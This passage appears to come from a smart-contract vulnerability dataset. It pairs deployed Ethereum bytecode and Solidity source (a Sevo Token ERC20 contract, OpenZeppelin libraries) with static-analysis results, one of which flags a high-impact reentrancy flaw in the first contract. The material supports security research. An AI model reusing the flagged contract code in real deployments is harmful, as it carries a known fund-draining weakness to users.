ffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a265750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a4e57611a3482611e90565b60004790506000811115611a4c57611a4b47611db6565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bab5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611baa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611bb95760009050611d40565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611c645750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c7c57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d275750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611d3f57600a54600c81905550600b54600d819055505b5b611d4c84848484612107565b50505050565b6000838311158290611d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9191906128c7565b60405180910390fd5b5060008385611da991906133d9565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e1e573d6000803e3d6000fd5b5050565b6000600654821115611e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e609061347f565b60405180910390fd5b6000611e73612134565b9050611e88818461215f90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ec757611ec661349f565b5b604051908082528060200260200182016040528015611ef55781602001602082028036833780820191505090505b5090503081600081518110611f0d57611f0c612de0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611fb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd891906134e3565b81600181518110611fec57611feb612de0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061205330601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113e5565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120b7959493929190613609565b600060405180830381600087803b1580156120d157600080fd5b505af11580156120e5573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b80612115576121146121a9565b5b6121208484846121ec565b8061212e5761212d6123b7565b5b50505050565b60008060006121416123cb565b91509150612158818361215f90919063ffffffff16565b9250505090565b60006121a183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061242a565b905092915050565b6000600c541480156121bd57506000600d54145b156121c7576121ea565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806121fe8761248d565b95509550955095509550955061225c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233d8161259d565b612347848361265a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123a49190612a86565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a764000090506123ff670de0b6b3a764000060065461215f90919063ffffffff16565b82101561241d57600654670de0b6b3a7640000935093505050612426565b81819350935050505b9091565b60008083118290612471576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246891906128c7565b60405180910390fd5b50600083856124809190613692565b9050809150509392505050565b60008060008060008060008060006124aa8a600c54600d54612694565b92509250925060006124ba612134565b905060008060006124cd8e87878761272a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061253783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d52565b905092915050565b600080828461254e91906132f1565b905083811015612593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258a9061370f565b60405180910390fd5b8091505092915050565b60006125a7612134565b905060006125be82846127b390919063ffffffff16565b905061261281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61266f826006546124f590919063ffffffff16565b60068190555061268a8160075461253f90919063ffffffff16565b6007819055505050565b6000806000806126c060646126b2888a6127b390919063ffffffff16565b61215f90919063ffffffff16565b905060006126ea60646126dc888b6127b390919063ffffffff16565b61215f90919063ffffffff16565b9050600061271382612705858c6124f590919063ffffffff16565b6124f590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061274385896127b390919063ffffffff16565b9050600061275a86896127b390919063ffffffff16565b9050600061277187896127b390919063ffffffff16565b9050600061279a8261278c85876124f590919063ffffffff16565b6124f590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156127c65760009050612828565b600082846127d4919061372f565b90508284826127e39190613692565b14612823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281a906137fb565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561286857808201518184015260208101905061284d565b83811115612877576000848401525b50505050565b6000601f19601f8301169050919050565b60006128998261282e565b6128a38185612839565b93506128b381856020860161284a565b6128bc8161287d565b840191505092915050565b600060208201905081810360008301526128e1818461288e565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061291e826128f3565b9050919050565b61292e81612913565b811461293957600080fd5b50565b60008135905061294b81612925565b92915050565b6000819050919050565b61296481612951565b811461296f57600080fd5b50565b6000813590506129818161295b565b92915050565b6000806040838503121561299e5761299d6128e9565b5b60006129ac8582860161293c565b92505060206129bd85828601612972565b9150509250929050565b60008115159050919050565b6129dc816129c7565b82525050565b60006020820190506129f760008301846129d3565b92915050565b6000819050919050565b6000612a22612a1d612a18846128f3565b6129fd565b6128f3565b9050919050565b6000612a3482612a07565b9050919050565b6000612a4682612a29565b9050919050565b612a5681612a3b565b82525050565b6000602082019050612a716000830184612a4d565b92915050565b612a8081612951565b82525050565b6000602082019050612a9b6000830184612a77565b92915050565b600080600060608486031215612aba57612ab96128e9565b5b6000612ac88682870161293c565b9350506020612ad98682870161293c565b9250506040612aea86828701612972565b9150509250925092565b600060ff82169050919050565b612b0a81612af4565b82525050565b6000602082019050612b256000830184612b01565b92915050565b612b3481612913565b82525050565b6000602082019050612b4f6000830184612b2b565b92915050565b612b5e816129c7565b8114612b6957600080fd5b50565b600081359050612b7b81612b55565b92915050565b600060208284031215612b9757612b966128e9565b5b6000612ba584828501612b6c565b91505092915050565b600060208284031215612bc457612bc36128e9565b5b6000612bd28482850161293c565b91505092915050565b600060208284031215612bf157612bf06128e9565b5b6000612bff84828501612972565b91505092915050565b60008060008060808587031215612c2257612c216128e9565b5b6000612c3087828801612972565b9450506020612c4187828801612972565b9350506040612c5287828801612972565b9250506060612c6387828801612972565b91505092959194509250565b600080fd5b600080fd5b600080fd5b60008083601f840112612c9457612c93612c6f565b5b8235905067ffffffffffffffff811115612cb157612cb0612c74565b5b602083019150836020820283011115612ccd57612ccc612c79565b5b9250929050565b600080600060408486031215612ced57612cec6128e9565b5b600084013567ffffffffffffffff811115612d0b57612d0a6128ee565b5b612d1786828701612c7e565b93509350506020612d2a86828701612b6c565b9150509250925092565b60008060408385031215612d4b57612d4a6128e9565b5b6000612d598582860161293c565b9250506020612d6a8582860161293c565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612daa602083612839565b9150612db582612d74565b602082019050919050565b60006020820190508181036000830152612dd981612d9d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612e4982612951565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e7c57612e7b612e0f565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612ee3602683612839565b9150612eee82612e87565b604082019050919050565b60006020820190508181036000830152612f1281612ed6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f75602483612839565b9150612f8082612f19565b604082019050919050565b60006020820190508181036000830152612fa481612f68565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613007602283612839565b915061301282612fab565b604082019050919050565b6000602082019050818103600083015261303681612ffa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613099602583612839565b91506130a48261303d565b604082019050919050565b600060208201905081810360008301526130c88161308c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061312b602383612839565b9150613136826130cf565b604082019050919050565b6000602082019050818103600083015261315a8161311e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bd602983612839565b91506131c882613161565b604082019050919050565b600060208201905081810360008301526131ec816131b0565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061324f603f83612839565b915061325a826131f3565b604082019050919050565b6000602082019050818103600083015261327e81613242565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006132bb601c83612839565b91506132c682613285565b602082019050919050565b600060208201905081810360008301526132ea816132ae565b9050919050565b60006132fc82612951565b915061330783612951565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561333c5761333b612e0f565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006133a3602383612839565b91506133ae82613347565b604082019050919050565b600060208201905081810360008301526133d281613396565b9050919050565b60006133e482612951565b91506133ef83612951565b92508282101561340257613401612e0f565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613469602a83612839565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506134dd81612925565b92915050565b6000602082840312156134f9576134f86128e9565b5b6000613507848285016134ce565b91505092915050565b6000819050919050565b600061353561353061352b84613510565b6129fd565b612951565b9050919050565b6135458161351a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61358081612913565b82525050565b60006135928383613577565b60208301905092915050565b6000602082019050919050565b60006135b68261354b565b6135c08185613556565b93506135cb83613567565b8060005b838110156135fc5781516135e38882613586565b97506135ee8361359e565b9250506001810190506135cf565b5085935050505092915050565b600060a08201905061361e6000830188612a77565b61362b602083018761353c565b818103604083015261363d81866135ab565b905061364c6060830185612b2b565b6136596080830184612a77565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061369d82612951565b91506136a883612951565b9250826136b8576136b7613663565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136f9601b83612839565b9150613704826136c3565b602082019050919050565b60006020820190508181036000830152613728816136ec565b9050919050565b600061373a82612951565b915061374583612951565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561377e5761377d612e0f565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006137e5602183612839565b91506137f082613789565b604082019050919050565b60006020820190508181036000830152613814816137d8565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220750d6a9295bfd250c2ed3eacf8b238f88b5b33e6657d9b71a171dfa6874ddd4264736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,357 |
0x7cbedd5c199d30bce4234846beb5f8ca9df727fc
|
/**
*Submitted for verification at Etherscan.io on 2021-12-07
*/
/**
*Submitted for verification at Etherscan.io on 2020-02-22
*/
pragma solidity 0.5.16; /*
___________________________________________________________________
_ _ ______
| | / / /
--|-/|-/-----__---/----__----__---_--_----__-------/-------__------
|/ |/ /___) / / ' / ) / / ) /___) / / )
__/__|____(___ _/___(___ _(___/_/_/__/_(___ _____/______(___/__o_o_
███████╗███████╗██╗ ██╗ ██████╗ ████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
██╔════╝██╔════╝██║ ██║██╔═══██╗ ╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
███████╗█████╗ ██║ ██║██║ ██║ ██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
╚════██║██╔══╝ ╚██╗ ██╔╝██║ ██║ ██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
███████║███████╗ ╚████╔╝ ╚██████╔╝ ██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚══════╝╚══════╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
=== 'SEVO' Token contract with following features ===
=> ERC20 Compliance
=> Higher degree of control by owner - safeguard functionality
=> SafeMath implementation
=> Burnable and minting
=> User account freezing/blacklisting to prevent abusive user
=> air drop (active)
======================= Quick Stats ===================
=> Name : Sevo Token
=> Symbol : SET
=> Total supply: 5,000,000,000 (5 Billion)
=> Decimals : 18
============= Independant Audit of the code ============
=> Multiple Freelancers Auditors
=> Community Audit by Bug Bounty program
-------------------------------------------------------------------
Copyright (c) 2020 onwards SEVO Coin Inc. ( https://Sevocoin.com )
Contract designed with ❤ by EtherAuthority ( https://EtherAuthority.io )
-------------------------------------------------------------------
*/
//*******************************************************************//
//------------------------ SafeMath Library -------------------------//
//*******************************************************************//
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath mul failed');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath sub failed');
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath add failed');
return c;
}
}
//*******************************************************************//
//------------------ Contract to Manage Ownership -------------------//
//*******************************************************************//
contract owned {
address payable public owner;
address payable internal newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
//this flow is to prevent transferring ownership to wrong wallet by mistake
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
//****************************************************************************//
//--------------------- MAIN CODE STARTS HERE ---------------------//
//****************************************************************************//
contract SevoToken is owned {
/*===============================
= DATA STORAGE =
===============================*/
// Public variables of the token
using SafeMath for uint256;
string constant private _name = "Sevo Token";
string constant private _symbol = "SET";
uint256 constant private _decimals = 18;
uint256 private _totalSupply = 5000000000 * (10**_decimals); //5 billion tokens
uint256 constant public maxSupply = 5000000000 * (10**_decimals); //5 billion tokens
bool public safeguard; //putting safeguard on will halt all non-owner functions
// This creates a mapping with all data storage
mapping (address => uint256) private _balanceOf;
mapping (address => mapping (address => uint256)) private _allowance;
mapping (address => bool) public frozenAccount;
/*===============================
= PUBLIC EVENTS =
===============================*/
// This generates a public event of token transfer
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// This generates a public event for frozen (blacklisting) accounts
event FrozenAccounts(address target, bool frozen);
// This will log approval of token Transfer
event Approval(address indexed from, address indexed spender, uint256 value);
/*======================================
= STANDARD ERC20 FUNCTIONS =
======================================*/
/**
* Returns name of token
*/
function name() public pure returns(string memory){
return _name;
}
/**
* Returns symbol of token
*/
function symbol() public pure returns(string memory){
return _symbol;
}
/**
* Returns decimals of token
*/
function decimals() public pure returns(uint256){
return _decimals;
}
/**
* Returns totalSupply of token.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* Returns balance of token
*/
function balanceOf(address user) public view returns(uint256){
return _balanceOf[user];
}
/**
* Returns allowance of token
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowance[owner][spender];
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
//checking conditions
require(!safeguard);
require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
// overflow and undeflow checked by SafeMath Library
_balanceOf[_from] = _balanceOf[_from].sub(_value); // Subtract from the sender
_balanceOf[_to] = _balanceOf[_to].add(_value); // Add the same to the recipient
// emit Transfer event
emit Transfer(_from, _to, _value);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
//no need to check for input validations, as that is ruled by SafeMath
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//checking of allowance and token value is done by SafeMath
_allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
require(!safeguard);
/* AUDITOR NOTE:
Many dex and dapps pre-approve large amount of tokens to save gas for subsequent transaction. This is good use case.
On flip-side, some malicious dapp, may pre-approve large amount and then drain all token balance from user.
So following condition is kept in commented. It can be be kept that way or not based on client's consent.
*/
//require(_balanceOf[msg.sender] >= _value, "Balance does not have enough tokens");
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param value The amount of tokens to increase the allowance by.
*/
function increase_allowance(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].add(value);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param value The amount of tokens to decrease the allowance by.
*/
function decrease_allowance(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].sub(value);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
/*=====================================
= CUSTOM PUBLIC FUNCTIONS =
======================================*/
constructor() public{
//sending all the tokens to Owner
_balanceOf[owner] = _totalSupply;
//firing event which logs this transaction
emit Transfer(address(0), owner, _totalSupply);
}
//Fallback function just accepts incoming fund
function () external payable {
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(!safeguard);
//checking of enough token balance is done by SafeMath
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(_value); // Subtract from the sender
_totalSupply = _totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
/**
* @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
* @param target Address to be frozen
* @param freeze either to freeze it or not
*/
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenAccounts(target, freeze);
}
/**
* @notice Create `mintedAmount` tokens and send it to `target`
* @param target Address to receive the tokens
* @param mintedAmount the amount of tokens it will receive
*/
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
require(_totalSupply.add(mintedAmount) <= maxSupply, "Cannot Mint more than maximum supply");
_balanceOf[target] = _balanceOf[target].add(mintedAmount);
_totalSupply = _totalSupply.add(mintedAmount);
emit Transfer(address(0), target, mintedAmount);
}
/**
* Owner can transfer tokens from contract to owner address
*
* When safeguard is true, then all the non-owner functions will stop working.
* When safeguard is false, then all the functions will resume working back again!
*/
function manualWithdrawTokens(uint256 tokenAmount) public onlyOwner{
// no need for overflow checking as that will be done in transfer function
_transfer(address(this), owner, tokenAmount);
}
//Just in rare case, owner wants to transfer Ether from contract to owner address
function manualWithdrawEther()onlyOwner public{
address(owner).transfer(address(this).balance);
}
/**
* Change safeguard status on or off
*
* When safeguard is true, then all the non-owner functions will stop working.
* When safeguard is false, then all the functions will resume working back again!
*/
function changeSafeguardStatus() onlyOwner public{
if (safeguard == false){
safeguard = true;
}
else{
safeguard = false;
}
}
/*************************************/
/* Section for User Air drop */
/*************************************/
/**
* Run an ACTIVE Air-Drop
*
* It requires an array of all the addresses and amount of tokens to distribute
* It will only process first 150 recipients. That limit is fixed to prevent gas limit
*/
function airdropACTIVE(address[] memory recipients,uint256[] memory tokenAmount) public returns(bool) {
uint256 totalAddresses = recipients.length;
require(totalAddresses <= 150,"Too many recipients");
for(uint i = 0; i < totalAddresses; i++)
{
//This will loop through all the recipients and send them the specified tokens
//Input data validation is unncessary, as that is done by SafeMath and which also saves some gas.
transfer(recipients[i], tokenAmount[i]);
}
return true;
}
}
|
0x737cbedd5c199d30bce4234846beb5f8ca9df727fc30146080604052600080fdfea265627a7a72315820762fdc8ac1938787930562697ed545a8ffa60d9b49bd84df9020821780c305db64736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 4,358 |
0x87bb770cdc7b1e71ead5c2904a2081c4a80f252b
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
